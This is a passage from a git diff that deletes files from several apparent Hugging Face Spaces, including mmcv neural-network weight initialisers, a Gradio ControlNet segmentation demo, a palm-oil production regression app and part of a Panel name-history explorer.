-def normal_init(module, mean=0, std=1, bias=0):
-    if hasattr(module, 'weight') and module.weight is not None:
-        nn.init.normal_(module.weight, mean, std)
-    if hasattr(module, 'bias') and module.bias is not None:
-        nn.init.constant_(module.bias, bias)
-
-
-def trunc_normal_init(module: nn.Module,
-                      mean: float = 0,
-                      std: float = 1,
-                      a: float = -2,
-                      b: float = 2,
-                      bias: float = 0) -> None:
-    if hasattr(module, 'weight') and module.weight is not None:
-        trunc_normal_(module.weight, mean, std, a, b)  # type: ignore
-    if hasattr(module, 'bias') and module.bias is not None:
-        nn.init.constant_(module.bias, bias)  # type: ignore
-
-
-def uniform_init(module, a=0, b=1, bias=0):
-    if hasattr(module, 'weight') and module.weight is not None:
-        nn.init.uniform_(module.weight, a, b)
-    if hasattr(module, 'bias') and module.bias is not None:
-        nn.init.constant_(module.bias, bias)
-
-
-def kaiming_init(module,
-                 a=0,
-                 mode='fan_out',
-                 nonlinearity='relu',
-                 bias=0,
-                 distribution='normal'):
-    assert distribution in ['uniform', 'normal']
-    if hasattr(module, 'weight') and module.weight is not None:
-        if distribution == 'uniform':
-            nn.init.kaiming_uniform_(
-                module.weight, a=a, mode=mode, nonlinearity=nonlinearity)
-        else:
-            nn.init.kaiming_normal_(
-                module.weight, a=a, mode=mode, nonlinearity=nonlinearity)
-    if hasattr(module, 'bias') and module.bias is not None:
-        nn.init.constant_(module.bias, bias)
-
-
-def caffe2_xavier_init(module, bias=0):
-    # `XavierFill` in Caffe2 corresponds to `kaiming_uniform_` in PyTorch
-    # Acknowledgment to FAIR's internal code
-    kaiming_init(
-        module,
-        a=1,
-        mode='fan_in',
-        nonlinearity='leaky_relu',
-        bias=bias,
-        distribution='uniform')
-
-
-def bias_init_with_prob(prior_prob):
-    """initialize conv/fc bias value according to a given probability value."""
-    bias_init = float(-np.log((1 - prior_prob) / prior_prob))
-    return bias_init
-
-
-def _get_bases_name(m):
-    return [b.__name__ for b in m.__class__.__bases__]
-
-
-class BaseInit(object):
-
-    def __init__(self, *, bias=0, bias_prob=None, layer=None):
-        self.wholemodule = False
-        if not isinstance(bias, (int, float)):
-            raise TypeError(f'bias must be a number, but got a {type(bias)}')
-
-        if bias_prob is not None:
-            if not isinstance(bias_prob, float):
-                raise TypeError(f'bias_prob type must be float, \
-                    but got {type(bias_prob)}')
-
-        if layer is not None:
-            if not isinstance(layer, (str, list)):
-                raise TypeError(f'layer must be a str or a list of str, \
-                    but got a {type(layer)}')
-        else:
-            layer = []
-
-        if bias_prob is not None:
-            self.bias = bias_init_with_prob(bias_prob)
-        else:
-            self.bias = bias
-        self.layer = [layer] if isinstance(layer, str) else layer
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='Constant')
-class ConstantInit(BaseInit):
-    """Initialize module parameters with constant values.
-
-    Args:
-        val (int | float): the value to fill the weights in the module with
-        bias (int | float): the value to fill the bias. Defaults to 0.
-        bias_prob (float, optional): the probability for bias initialization.
-            Defaults to None.
-        layer (str | list[str], optional): the layer will be initialized.
-            Defaults to None.
-    """
-
-    def __init__(self, val, **kwargs):
-        super().__init__(**kwargs)
-        self.val = val
-
-    def __call__(self, module):
-
-        def init(m):
-            if self.wholemodule:
-                constant_init(m, self.val, self.bias)
-            else:
-                layername = m.__class__.__name__
-                basesname = _get_bases_name(m)
-                if len(set(self.layer) & set([layername] + basesname)):
-                    constant_init(m, self.val, self.bias)
-
-        module.apply(init)
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: val={self.val}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='Xavier')
-class XavierInit(BaseInit):
-    r"""Initialize module parameters with values according to the method
-    described in `Understanding the difficulty of training deep feedforward
-    neural networks - Glorot, X. & Bengio, Y. (2010).
-    <http://proceedings.mlr.press/v9/glorot10a/glorot10a.pdf>`_
-
-    Args:
-        gain (int | float): an optional scaling factor. Defaults to 1.
-        bias (int | float): the value to fill the bias. Defaults to 0.
-        bias_prob (float, optional): the probability for bias initialization.
-            Defaults to None.
-        distribution (str): distribution either be ``'normal'``
-            or ``'uniform'``. Defaults to ``'normal'``.
-        layer (str | list[str], optional): the layer will be initialized.
-            Defaults to None.
-    """
-
-    def __init__(self, gain=1, distribution='normal', **kwargs):
-        super().__init__(**kwargs)
-        self.gain = gain
-        self.distribution = distribution
-
-    def __call__(self, module):
-
-        def init(m):
-            if self.wholemodule:
-                xavier_init(m, self.gain, self.bias, self.distribution)
-            else:
-                layername = m.__class__.__name__
-                basesname = _get_bases_name(m)
-                if len(set(self.layer) & set([layername] + basesname)):
-                    xavier_init(m, self.gain, self.bias, self.distribution)
-
-        module.apply(init)
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: gain={self.gain}, ' \
-               f'distribution={self.distribution}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='Normal')
-class NormalInit(BaseInit):
-    r"""Initialize module parameters with the values drawn from the normal
-    distribution :math:`\mathcal{N}(\text{mean}, \text{std}^2)`.
-
-    Args:
-        mean (int | float):the mean of the normal distribution. Defaults to 0.
-        std (int | float): the standard deviation of the normal distribution.
-            Defaults to 1.
-        bias (int | float): the value to fill the bias. Defaults to 0.
-        bias_prob (float, optional): the probability for bias initialization.
-            Defaults to None.
-        layer (str | list[str], optional): the layer will be initialized.
-            Defaults to None.
-
-    """
-
-    def __init__(self, mean=0, std=1, **kwargs):
-        super().__init__(**kwargs)
-        self.mean = mean
-        self.std = std
-
-    def __call__(self, module):
-
-        def init(m):
-            if self.wholemodule:
-                normal_init(m, self.mean, self.std, self.bias)
-            else:
-                layername = m.__class__.__name__
-                basesname = _get_bases_name(m)
-                if len(set(self.layer) & set([layername] + basesname)):
-                    normal_init(m, self.mean, self.std, self.bias)
-
-        module.apply(init)
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: mean={self.mean},' \
-               f' std={self.std}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='TruncNormal')
-class TruncNormalInit(BaseInit):
-    r"""Initialize module parameters with the values drawn from the normal
-    distribution :math:`\mathcal{N}(\text{mean}, \text{std}^2)` with values
-    outside :math:`[a, b]`.
-
-    Args:
-        mean (float): the mean of the normal distribution. Defaults to 0.
-        std (float):  the standard deviation of the normal distribution.
-            Defaults to 1.
-        a (float): The minimum cutoff value.
-        b ( float): The maximum cutoff value.
-        bias (float): the value to fill the bias. Defaults to 0.
-        bias_prob (float, optional): the probability for bias initialization.
-            Defaults to None.
-        layer (str | list[str], optional): the layer will be initialized.
-            Defaults to None.
-
-    """
-
-    def __init__(self,
-                 mean: float = 0,
-                 std: float = 1,
-                 a: float = -2,
-                 b: float = 2,
-                 **kwargs) -> None:
-        super().__init__(**kwargs)
-        self.mean = mean
-        self.std = std
-        self.a = a
-        self.b = b
-
-    def __call__(self, module: nn.Module) -> None:
-
-        def init(m):
-            if self.wholemodule:
-                trunc_normal_init(m, self.mean, self.std, self.a, self.b,
-                                  self.bias)
-            else:
-                layername = m.__class__.__name__
-                basesname = _get_bases_name(m)
-                if len(set(self.layer) & set([layername] + basesname)):
-                    trunc_normal_init(m, self.mean, self.std, self.a, self.b,
-                                      self.bias)
-
-        module.apply(init)
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: a={self.a}, b={self.b},' \
-               f' mean={self.mean}, std={self.std}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='Uniform')
-class UniformInit(BaseInit):
-    r"""Initialize module parameters with values drawn from the uniform
-    distribution :math:`\mathcal{U}(a, b)`.
-
-    Args:
-        a (int | float): the lower bound of the uniform distribution.
-            Defaults to 0.
-        b (int | float): the upper bound of the uniform distribution.
-            Defaults to 1.
-        bias (int | float): the value to fill the bias. Defaults to 0.
-        bias_prob (float, optional): the probability for bias initialization.
-            Defaults to None.
-        layer (str | list[str], optional): the layer will be initialized.
-            Defaults to None.
-    """
-
-    def __init__(self, a=0, b=1, **kwargs):
-        super().__init__(**kwargs)
-        self.a = a
-        self.b = b
-
-    def __call__(self, module):
-
-        def init(m):
-            if self.wholemodule:
-                uniform_init(m, self.a, self.b, self.bias)
-            else:
-                layername = m.__class__.__name__
-                basesname = _get_bases_name(m)
-                if len(set(self.layer) & set([layername] + basesname)):
-                    uniform_init(m, self.a, self.b, self.bias)
-
-        module.apply(init)
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: a={self.a},' \
-               f' b={self.b}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='Kaiming')
-class KaimingInit(BaseInit):
-    r"""Initialize module parameters with the values according to the method
-    described in `Delving deep into rectifiers: Surpassing human-level
-    performance on ImageNet classification - He, K. et al. (2015).
-    <https://www.cv-foundation.org/openaccess/content_iccv_2015/
-    papers/He_Delving_Deep_into_ICCV_2015_paper.pdf>`_
-
-    Args:
-        a (int | float): the negative slope of the rectifier used after this
-            layer (only used with ``'leaky_relu'``). Defaults to 0.
-        mode (str):  either ``'fan_in'`` or ``'fan_out'``. Choosing
-            ``'fan_in'`` preserves the magnitude of the variance of the weights
-            in the forward pass. Choosing ``'fan_out'`` preserves the
-            magnitudes in the backwards pass. Defaults to ``'fan_out'``.
-        nonlinearity (str): the non-linear function (`nn.functional` name),
-            recommended to use only with ``'relu'`` or ``'leaky_relu'`` .
-            Defaults to 'relu'.
-        bias (int | float): the value to fill the bias. Defaults to 0.
-        bias_prob (float, optional): the probability for bias initialization.
-            Defaults to None.
-        distribution (str): distribution either be ``'normal'`` or
-            ``'uniform'``. Defaults to ``'normal'``.
-        layer (str | list[str], optional): the layer will be initialized.
-            Defaults to None.
-    """
-
-    def __init__(self,
-                 a=0,
-                 mode='fan_out',
-                 nonlinearity='relu',
-                 distribution='normal',
-                 **kwargs):
-        super().__init__(**kwargs)
-        self.a = a
-        self.mode = mode
-        self.nonlinearity = nonlinearity
-        self.distribution = distribution
-
-    def __call__(self, module):
-
-        def init(m):
-            if self.wholemodule:
-                kaiming_init(m, self.a, self.mode, self.nonlinearity,
-                             self.bias, self.distribution)
-            else:
-                layername = m.__class__.__name__
-                basesname = _get_bases_name(m)
-                if len(set(self.layer) & set([layername] + basesname)):
-                    kaiming_init(m, self.a, self.mode, self.nonlinearity,
-                                 self.bias, self.distribution)
-
-        module.apply(init)
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: a={self.a}, mode={self.mode}, ' \
-               f'nonlinearity={self.nonlinearity}, ' \
-               f'distribution ={self.distribution}, bias={self.bias}'
-        return info
-
-
-@INITIALIZERS.register_module(name='Caffe2Xavier')
-class Caffe2XavierInit(KaimingInit):
-    # `XavierFill` in Caffe2 corresponds to `kaiming_uniform_` in PyTorch
-    # Acknowledgment to FAIR's internal code
-    def __init__(self, **kwargs):
-        super().__init__(
-            a=1,
-            mode='fan_in',
-            nonlinearity='leaky_relu',
-            distribution='uniform',
-            **kwargs)
-
-    def __call__(self, module):
-        super().__call__(module)
-
-
-@INITIALIZERS.register_module(name='Pretrained')
-class PretrainedInit(object):
-    """Initialize module by loading a pretrained model.
-
-    Args:
-        checkpoint (str): the checkpoint file of the pretrained model should
-            be load.
-        prefix (str, optional): the prefix of a sub-module in the pretrained
-            model. it is for loading a part of the pretrained model to
-            initialize. For example, if we would like to only load the
-            backbone of a detector model, we can set ``prefix='backbone.'``.
-            Defaults to None.
-        map_location (str): map tensors into proper locations.
-    """
-
-    def __init__(self, checkpoint, prefix=None, map_location=None):
-        self.checkpoint = checkpoint
-        self.prefix = prefix
-        self.map_location = map_location
-
-    def __call__(self, module):
-        from annotator.uniformer.mmcv.runner import (_load_checkpoint_with_prefix, load_checkpoint,
-                                 load_state_dict)
-        logger = get_logger('mmcv')
-        if self.prefix is None:
-            print_log(f'load model from: {self.checkpoint}', logger=logger)
-            load_checkpoint(
-                module,
-                self.checkpoint,
-                map_location=self.map_location,
-                strict=False,
-                logger=logger)
-        else:
-            print_log(
-                f'load {self.prefix} in model from: {self.checkpoint}',
-                logger=logger)
-            state_dict = _load_checkpoint_with_prefix(
-                self.prefix, self.checkpoint, map_location=self.map_location)
-            load_state_dict(module, state_dict, strict=False, logger=logger)
-
-        if hasattr(module, '_params_init_info'):
-            update_init_info(module, init_info=self._get_init_info())
-
-    def _get_init_info(self):
-        info = f'{self.__class__.__name__}: load from {self.checkpoint}'
-        return info
-
-
-def _initialize(module, cfg, wholemodule=False):
-    func = build_from_cfg(cfg, INITIALIZERS)
-    # wholemodule flag is for override mode, there is no layer key in override
-    # and initializer will give init values for the whole module with the name
-    # in override.
-    func.wholemodule = wholemodule
-    func(module)
-
-
-def _initialize_override(module, override, cfg):
-    if not isinstance(override, (dict, list)):
-        raise TypeError(f'override must be a dict or a list of dict, \
-                but got {type(override)}')
-
-    override = [override] if isinstance(override, dict) else override
-
-    for override_ in override:
-
-        cp_override = copy.deepcopy(override_)
-        name = cp_override.pop('name', None)
-        if name is None:
-            raise ValueError('`override` must contain the key "name",'
-                             f'but got {cp_override}')
-        # if override only has name key, it means use args in init_cfg
-        if not cp_override:
-            cp_override.update(cfg)
-        # if override has name key and other args except type key, it will
-        # raise error
-        elif 'type' not in cp_override.keys():
-            raise ValueError(
-                f'`override` need "type" key, but got {cp_override}')
-
-        if hasattr(module, name):
-            _initialize(getattr(module, name), cp_override, wholemodule=True)
-        else:
-            raise RuntimeError(f'module did not have attribute {name}, '
-                               f'but init_cfg is {cp_override}.')
-
-
-def initialize(module, init_cfg):
-    """Initialize a module.
-
-    Args:
-        module (``torch.nn.Module``): the module will be initialized.
-        init_cfg (dict | list[dict]): initialization configuration dict to
-            define initializer. OpenMMLab has implemented 6 initializers
-            including ``Constant``, ``Xavier``, ``Normal``, ``Uniform``,
-            ``Kaiming``, and ``Pretrained``.
-    Example:
-        >>> module = nn.Linear(2, 3, bias=True)
-        >>> init_cfg = dict(type='Constant', layer='Linear', val =1 , bias =2)
-        >>> initialize(module, init_cfg)
-
-        >>> module = nn.Sequential(nn.Conv1d(3, 1, 3), nn.Linear(1,2))
-        >>> # define key ``'layer'`` for initializing layer with different
-        >>> # configuration
-        >>> init_cfg = [dict(type='Constant', layer='Conv1d', val=1),
-                dict(type='Constant', layer='Linear', val=2)]
-        >>> initialize(module, init_cfg)
-
-        >>> # define key``'override'`` to initialize some specific part in
-        >>> # module
-        >>> class FooNet(nn.Module):
-        >>>     def __init__(self):
-        >>>         super().__init__()
-        >>>         self.feat = nn.Conv2d(3, 16, 3)
-        >>>         self.reg = nn.Conv2d(16, 10, 3)
-        >>>         self.cls = nn.Conv2d(16, 5, 3)
-        >>> model = FooNet()
-        >>> init_cfg = dict(type='Constant', val=1, bias=2, layer='Conv2d',
-        >>>     override=dict(type='Constant', name='reg', val=3, bias=4))
-        >>> initialize(model, init_cfg)
-
-        >>> model = ResNet(depth=50)
-        >>> # Initialize weights with the pretrained model.
-        >>> init_cfg = dict(type='Pretrained',
-                checkpoint='torchvision://resnet50')
-        >>> initialize(model, init_cfg)
-
-        >>> # Initialize weights of a sub-module with the specific part of
-        >>> # a pretrained model by using "prefix".
-        >>> url = 'http://download.openmmlab.com/mmdetection/v2.0/retinanet/'\
-        >>>     'retinanet_r50_fpn_1x_coco/'\
-        >>>     'retinanet_r50_fpn_1x_coco_20200130-c2398f9e.pth'
-        >>> init_cfg = dict(type='Pretrained',
-                checkpoint=url, prefix='backbone.')
-    """
-    if not isinstance(init_cfg, (dict, list)):
-        raise TypeError(f'init_cfg must be a dict or a list of dict, \
-                but got {type(init_cfg)}')
-
-    if isinstance(init_cfg, dict):
-        init_cfg = [init_cfg]
-
-    for cfg in init_cfg:
-        # should deeply copy the original config because cfg may be used by
-        # other modules, e.g., one init_cfg shared by multiple bottleneck
-        # blocks, the expected cfg will be changed after pop and will change
-        # the initialization behavior of other modules
-        cp_cfg = copy.deepcopy(cfg)
-        override = cp_cfg.pop('override', None)
-        _initialize(module, cp_cfg)
-
-        if override is not None:
-            cp_cfg.pop('layer', None)
-            _initialize_override(module, override, cp_cfg)
-        else:
-            # All attributes in module have same initialization.
-            pass
-
-
-def _no_grad_trunc_normal_(tensor: Tensor, mean: float, std: float, a: float,
-                           b: float) -> Tensor:
-    # Method based on
-    # https://people.sc.fsu.edu/~jburkardt/presentations/truncated_normal.pdf
-    # Modified from
-    # https://github.com/pytorch/pytorch/blob/master/torch/nn/init.py
-    def norm_cdf(x):
-        # Computes standard normal cumulative distribution function
-        return (1. + math.erf(x / math.sqrt(2.))) / 2.
-
-    if (mean < a - 2 * std) or (mean > b + 2 * std):
-        warnings.warn(
-            'mean is more than 2 std from [a, b] in nn.init.trunc_normal_. '
-            'The distribution of values may be incorrect.',
-            stacklevel=2)
-
-    with torch.no_grad():
-        # Values are generated by using a truncated uniform distribution and
-        # then using the inverse CDF for the normal distribution.
-        # Get upper and lower cdf values
-        lower = norm_cdf((a - mean) / std)
-        upper = norm_cdf((b - mean) / std)
-
-        # Uniformly fill tensor with values from [lower, upper], then translate
-        # to [2lower-1, 2upper-1].
-        tensor.uniform_(2 * lower - 1, 2 * upper - 1)
-
-        # Use inverse cdf transform for normal distribution to get truncated
-        # standard normal
-        tensor.erfinv_()
-
-        # Transform to proper mean, std
-        tensor.mul_(std * math.sqrt(2.))
-        tensor.add_(mean)
-
-        # Clamp to ensure it's in the proper range
-        tensor.clamp_(min=a, max=b)
-        return tensor
-
-
-def trunc_normal_(tensor: Tensor,
-                  mean: float = 0.,
-                  std: float = 1.,
-                  a: float = -2.,
-                  b: float = 2.) -> Tensor:
-    r"""Fills the input Tensor with values drawn from a truncated
-    normal distribution. The values are effectively drawn from the
-    normal distribution :math:`\mathcal{N}(\text{mean}, \text{std}^2)`
-    with values outside :math:`[a, b]` redrawn until they are within
-    the bounds. The method used for generating the random values works
-    best when :math:`a \leq \text{mean} \leq b`.
-
-    Modified from
-    https://github.com/pytorch/pytorch/blob/master/torch/nn/init.py
-
-    Args:
-        tensor (``torch.Tensor``): an n-dimensional `torch.Tensor`.
-        mean (float): the mean of the normal distribution.
-        std (float): the standard deviation of the normal distribution.
-        a (float): the minimum cutoff value.
-        b (float): the maximum cutoff value.
-    """
-    return _no_grad_trunc_normal_(tensor, mean, std, a, b)
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer_base/mmcv/runner/hooks/iter_timer.py b/spaces/abhishek/sketch-to-image/annotator/uniformer_base/mmcv/runner/hooks/iter_timer.py
deleted file mode 100644
index cfd5002fe85ffc6992155ac01003878064a1d9be..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer_base/mmcv/runner/hooks/iter_timer.py
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-import time
-
-from .hook import HOOKS, Hook
-
-
-@HOOKS.register_module()
-class IterTimerHook(Hook):
-
-    def before_epoch(self, runner):
-        self.t = time.time()
-
-    def before_iter(self, runner):
-        runner.log_buffer.update({'data_time': time.time() - self.t})
-
-    def after_iter(self, runner):
-        runner.log_buffer.update({'time': time.time() - self.t})
-        self.t = time.time()
diff --git a/spaces/achajon/prompthero-openjourney-v2/app.py b/spaces/achajon/prompthero-openjourney-v2/app.py
deleted file mode 100644
index 4fa45eda1d4a0af263ec59b35e375b837fe1ecf1..0000000000000000000000000000000000000000
--- a/spaces/achajon/prompthero-openjourney-v2/app.py
+++ /dev/null
@@ -1,3 +0,0 @@
-import gradio as gr
-
-gr.Interface.load("models/prompthero/openjourney-v2").launch()
\ No newline at end of file
diff --git a/spaces/adorp/ControlNet-v1-1-duplicate/app_segmentation.py b/spaces/adorp/ControlNet-v1-1-duplicate/app_segmentation.py
deleted file mode 100644
index f54873436be0b9c7eb5c041801554b2059d3580f..0000000000000000000000000000000000000000
--- a/spaces/adorp/ControlNet-v1-1-duplicate/app_segmentation.py
+++ /dev/null
@@ -1,106 +0,0 @@
-#!/usr/bin/env python
-
-import gradio as gr
-
-from utils import randomize_seed_fn
-
-
-def create_demo(process, max_images=12, default_num_images=3):
-    with gr.Blocks() as demo:
-        with gr.Row():
-            with gr.Column():
-                image = gr.Image()
-                prompt = gr.Textbox(label='Prompt')
-                run_button = gr.Button('Run')
-                with gr.Accordion('Advanced options', open=False):
-                    preprocessor_name = gr.Radio(label='Preprocessor',
-                                                 choices=['UPerNet', 'None'],
-                                                 type='value',
-                                                 value='UPerNet')
-                    num_samples = gr.Slider(label='Number of images',
-                                            minimum=1,
-                                            maximum=max_images,
-                                            value=default_num_images,
-                                            step=1)
-                    image_resolution = gr.Slider(label='Image resolution',
-                                                 minimum=256,
-                                                 maximum=512,
-                                                 value=512,
-                                                 step=256)
-                    preprocess_resolution = gr.Slider(
-                        label='Preprocess resolution',
-                        minimum=128,
-                        maximum=512,
-                        value=512,
-                        step=1)
-                    num_steps = gr.Slider(label='Number of steps',
-                                          minimum=1,
-                                          maximum=100,
-                                          value=20,
-                                          step=1)
-                    guidance_scale = gr.Slider(label='Guidance scale',
-                                               minimum=0.1,
-                                               maximum=30.0,
-                                               value=9.0,
-                                               step=0.1)
-                    seed = gr.Slider(label='Seed',
-                                     minimum=0,
-                                     maximum=1000000,
-                                     step=1,
-                                     value=0,
-                                     randomize=True)
-                    randomize_seed = gr.Checkbox(label='Randomize seed',
-                                                 value=True)
-                    a_prompt = gr.Textbox(
-                        label='Additional prompt',
-                        value='best quality, extremely detailed')
-                    n_prompt = gr.Textbox(
-                        label='Negative prompt',
-                        value=
-                        'longbody, lowres, bad anatomy, bad hands, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality'
-                    )
-            with gr.Column():
-                result = gr.Gallery(label='Output', show_label=False).style(
-                    columns=2, object_fit='scale-down')
-        inputs = [
-            image,
-            prompt,
-            a_prompt,
-            n_prompt,
-            num_samples,
-            image_resolution,
-            preprocess_resolution,
-            num_steps,
-            guidance_scale,
-            seed,
-            preprocessor_name,
-        ]
-        prompt.submit(
-            fn=randomize_seed_fn,
-            inputs=[seed, randomize_seed],
-            outputs=seed,
-            queue=False,
-        ).then(
-            fn=process,
-            inputs=inputs,
-            outputs=result,
-        )
-        run_button.click(
-            fn=randomize_seed_fn,
-            inputs=[seed, randomize_seed],
-            outputs=seed,
-            queue=False,
-        ).then(
-            fn=process,
-            inputs=inputs,
-            outputs=result,
-            api_name='segmentation',
-        )
-    return demo
-
-
-if __name__ == '__main__':
-    from model import Model
-    model = Model(task_name='segmentation')
-    demo = create_demo(model.process_segmentation)
-    demo.queue().launch()
diff --git a/spaces/agungbesti/produksi/app.py b/spaces/agungbesti/produksi/app.py
deleted file mode 100644
index 577429477b7aee0a16dd4949174c0cfd5ca56083..0000000000000000000000000000000000000000
--- a/spaces/agungbesti/produksi/app.py
+++ /dev/null
@@ -1,41 +0,0 @@
-from pycaret.regression import *
-import pandas as pd
-import numpy as np
-import gradio as gr
-model = load_model('produksi_fi_fix')
-
-def inferencing_model(ID_Afdeling, Luas, Tandan, HK, Jumlah_Pokok, Tahun_Tanam_Awal, Tahun_Tanam_Akhir, Curah_Hujan):
-    pkk_ha = Jumlah_Pokok / Luas
-    tandan_pkk = Tandan / Jumlah_Pokok
-    umur = Tahun_Tanam_Akhir - Tahun_Tanam_Awal
-    test_data = [[Tandan, umur, tandan_pkk, Curah_Hujan, Jumlah_Pokok, HK, pkk_ha]]
-    pred = pd.DataFrame(test_data, columns=['tandan','umur', 'tandan_pkk', 'curah_hujan', 'jumlah_pokok', 'hk', 'pkk_ha'])
-    prediction_test_produksi = predict_model(model, data = pred)
-
-    return round(int(prediction_test_produksi.Label))
-
-
-iface = gr.Interface(
-    inferencing_model, 
-    [
-     gr.inputs.Dropdown(["SRO_I", "SRO_II", "SRO_III", "SRO_IV", "SRO_V", "SRO_VI", "SRO_VII", "SRO_VIII", "SRO_IX", "SRO_X"]), #Afdeling
-     "number", #Luas
-     "number", #Tandan
-     "number", #HK
-     "number", #Jumlah_Pokok
-     "number", #Tahun_Tanam_Awal
-     "number", #Tahun_Tanam_Akhir
-     "number" #Curah_Hujan
-    ],
-    outputs= ["number"],
-    #gr.outputs.Label(label="Produksi Prediction"),
-    #"number",
-    # interpretation="default",  # Removed interpretation for dataframes
-    examples=[
-        ["SRO_X", 920.50, 120166, 714, 142978, 1998, 2011, 216]
-    ], allow_flagging=False, 
-    theme="huggingface", title="Produksi Prediction"
-    
-)
-
-iface.launch()
diff --git a/spaces/ahuang11/name-chronicles/app.py b/spaces/ahuang11/name-chronicles/app.py
deleted file mode 100644
index 9cc82c415151ed62184bfdab3b0d2d6aa7c35a31..0000000000000000000000000000000000000000
--- a/spaces/ahuang11/name-chronicles/app.py
+++ /dev/null
@@ -1,532 +0,0 @@
-from pathlib import Path
-
-import duckdb
-import holoviews as hv
-import pandas as pd
-import panel as pn
-from bokeh.models import HoverTool
-from bokeh.models import NumeralTickFormatter
-from pydantic import BaseModel, Field
-from langchain.callbacks.base import BaseCallbackHandler
-from langchain.chat_models import ChatOpenAI
-from langchain.llms.openai import OpenAI
-from langchain.output_parsers import PydanticOutputParser
-from langchain.pydantic_v1 import BaseModel, Field, validator
-from langchain.memory import ConversationBufferMemory
-from langchain.chains import ConversationChain
-from langchain.prompts import PromptTemplate
-
-pn.extension(sizing_mode="stretch_width", notifications=True)
-hv.extension("bokeh")
-
-INSTRUCTIONS = """
-    #### Name Chronicles lets you explore the history of names in the United States.
-    - Enter a name to add to plot!
-    - Hover over a line for stats or click for the gender distribution.
-    - Chat with AI for inspiration or get a random name based on input criteria.
-    - Have ideas? [Open an issue](https://github.com/ahuang11/name-chronicles/issues).
-"""
-
-RANDOM_NAME_QUERY = """
-    SELECT name, count, 
-        CASE
-            WHEN female_percent >= 0.2 AND female_percent <= 0.8 AND male_percent >= 0.2 AND male_percent <= 0.8 THEN 'unisex'
-            WHEN female_percent > 0.5 THEN 'female'
-            WHEN male_percent > 0.5 THEN 'male'
-        END AS gender
-    FROM (
-        SELECT 
-            name,
-            MAX(male + female) AS count,
-            (SUM(female) / CAST(SUM(male + female) AS REAL)) AS female_percent,
-            (SUM(male) / CAST(SUM(male + female) AS REAL)) AS male_percent
-        FROM names
-        WHERE name LIKE ?
-        GROUP BY name
-    )
-    WHERE count >= ? AND count <= ?
-    AND gender = ?
-    ORDER BY RANDOM()
-    LIMIT 100
-"""
-
-TOP_NAMES_WILDCARD_QUERY = """
-    SELECT name, SUM(male  + female) as count
-    FROM names
-    WHERE lower(name) LIKE ?
-    GROUP BY name
-    ORDER BY count DESC
-    LIMIT 10
-"""
-
-TOP_NAMES_SELECT_QUERY = """
-    SELECT name, SUM(male  + female) as count
-    FROM names
-    WHERE lower(name) = ?
-    GROUP BY name
-    ORDER BY count DESC
-"""
-
-DATA_QUERY = """
-    SELECT name, year, male, female, SUM(male + female) AS count
-    FROM names
-    WHERE name in ({placeholders})
-    GROUP BY name, year, male, female
-    ORDER BY name, year
-"""
-
-MAX_LLM_COUNT = 2000
-
-class FirstNames(BaseModel):
-    names: list[str] = Field(description="List of first names")
-
-
-class StreamHandler(BaseCallbackHandler):
-    def __init__(self, container, initial_text="", target_attr="value"):
-        self.container = container
-        self.text = initial_text
-        self.target_attr = target_attr
-
-    def on_llm_new_token(self, token: str, **kwargs) -> None:
-        self.text += token
-        setattr(self.container, self.target_attr, self.text)
-
-
-class NameChronicles:
-    def __init__(self):
-        super().__init__()
-        self.llm_use_counter = 0
-        self.db_path = Path("data/names.db")
-
-        # Main
-        self.scatter_cycle = hv.Cycle("Category10")
-        self.curve_cycle = hv.Cycle("Category10")
-        self.label_cycle = hv.Cycle("Category10")
-        self.holoviews_pane = pn.pane.HoloViews(
-            min_height=675, sizing_mode="stretch_both"
-        )
-        self.selection = hv.streams.Selection1D()
-
-        # Sidebar
-
-        # Name Widgets
-        self.names_input = pn.widgets.TextInput(name="Name Input", placeholder="Andrew")
-        self.names_input.param.watch(self._add_name, "value")
-
-        self.names_choice = pn.widgets.MultiChoice(
-            name="Selected Names",
-            options=["Andrew"],
-            solid=False,
-        )
-        self.names_choice.param.watch(self._update_plot, "value")
-
-        # Reset Widgets
-        self.clear_button = pn.widgets.Button(
-            name="Clear Names", button_style="outline", button_type="primary"
-        )
-        self.clear_button.on_click(
-            lambda event: setattr(self.names_choice, "value", [])
-        )
-        self.refresh_button = pn.widgets.Button(
-            name="Refresh Plot", button_style="outline", button_type="primary"
-        )
-        self.refresh_button.on_click(self._refresh_plot)
-
-        # Randomize Widgets
-        self.name_pattern = pn.widgets.TextInput(
-            name="Name Pattern", placeholder="*na*"
-        )
-        self.count_range = pn.widgets.IntRangeSlider(
-            name="Peak Count Range",
-            value=(0, 100000),
-            start=0,
-            end=100000,
-            step=1000,
-            margin=(5, 20),
-        )
-        self.gender_select = pn.widgets.RadioButtonGroup(
-            name="Gender",
-            options=["Female", "Unisex", "Male"],
-            button_style="outline",
-            button_type="primary",
-        )
-        randomize_name = pn.widgets.Button(
-            name="Get Name", button_style="outline", button_type="primary"
-        )
-        randomize_name.param.watch(self._randomize_name, "clicks")
-        self.randomize_pane = pn.Card(
-            self.name_pattern,
-            self.count_range,
-            self.gender_select,
-            randomize_name,
-            title="Get Random Name",
-            collapsed=True,
-        )
-
-        # AI Widgets
